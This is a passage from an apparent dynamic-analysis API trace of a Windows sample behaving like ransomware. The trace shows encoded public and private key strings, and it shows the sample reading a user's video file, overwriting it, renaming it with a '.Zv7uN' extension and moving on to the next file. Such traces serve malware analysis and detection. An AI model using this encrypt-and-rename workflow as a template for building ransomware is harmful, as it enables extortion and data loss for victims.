oXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0087.036] GetCurrentThreadId () returned 0xa30 [0087.036] GetCurrentThreadId () returned 0xa30 [0087.036] GetCurrentThreadId () returned 0xa30 [0087.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.037] GetCurrentThreadId () returned 0xa30 [0087.037] GetCurrentThreadId () returned 0xa30 [0087.037] GetCurrentThreadId () returned 0xa30 [0087.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\IcBGqKdtFRpsh3FJ5K.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\icbgqkdtfrpsh3fj5k.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.037] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.038] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.038] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x1d21 [0087.038] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.038] ReadFile (in: hFile=0x104, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x1d21, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x1d21, lpOverlapped=0x0) returned 1 [0087.040] CloseHandle (hObject=0x104) returned 1 [0087.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\IcBGqKdtFRpsh3FJ5K.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\icbgqkdtfrpsh3fj5k.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.042] WriteFile (in: hFile=0x104, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0x1d21, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f3e0*=0x1d21, lpOverlapped=0x0) returned 1 [0087.044] CloseHandle (hObject=0x104) returned 1 [0087.046] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\IcBGqKdtFRpsh3FJ5K.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\icbgqkdtfrpsh3fj5k.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\IcBGqKdtFRpsh3FJ5K.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\icbgqkdtfrpsh3fj5k.mkv.zv7un")) returned 1 [0087.047] GetCurrentThreadId () returned 0xa30 [0087.047] GetCurrentThreadId () returned 0xa30 [0087.047] GetCurrentThreadId () returned 0xa30 [0087.047] GetCurrentThreadId () returned 0xa30 [0087.047] GetCurrentThreadId () returned 0xa30 [0087.047] GetCurrentThreadId () returned 0xa30 [0087.047] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94067810, ftCreationTime.dwHighDateTime=0x1d5d9a9, ftLastAccessTime.dwLowDateTime=0xc3bb39e0, ftLastAccessTime.dwHighDateTime=0x1d5dc71, ftLastWriteTime.dwLowDateTime=0xc3bb39e0, ftLastWriteTime.dwHighDateTime=0x1d5dc71, nFileSizeHigh=0x0, nFileSizeLow=0x9fbe, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="MqJoN1slSECN 8iZ4uI.flv", cAlternateFileName="MQJON1~1.FLV")) returned 1 [0087.047] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.047] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\MqJoN1slSECN 8iZ4uI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\mqjon1slsecn 8iz4ui.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94067810, ftCreationTime.dwHighDateTime=0x1d5d9a9, ftLastAccessTime.dwLowDateTime=0xc3bb39e0, ftLastAccessTime.dwHighDateTime=0x1d5dc71, ftLastWriteTime.dwLowDateTime=0xc3bb39e0, ftLastWriteTime.dwHighDateTime=0x1d5dc71, nFileSizeHigh=0x0, nFileSizeLow=0x9fbe)) returned 1 [0087.047] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\MqJoN1slSECN 8iZ4uI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\6a2qkp\\mqjon1slsecn 8iz4ui.flv")) returned 0x20 [0087.047] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\6a2qkp\\MqJoN1slSECN 8iZ4uI.flv", dwFileAttributes=0x80) returned 1 [0087.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.051] GetCurrentThreadId () returned 0xa30 [0087.051] GetCurrentThreadId () returned 0xa30 [0087.051] GetCurrentThreadId () returned 0xa30 [0087.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.051] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 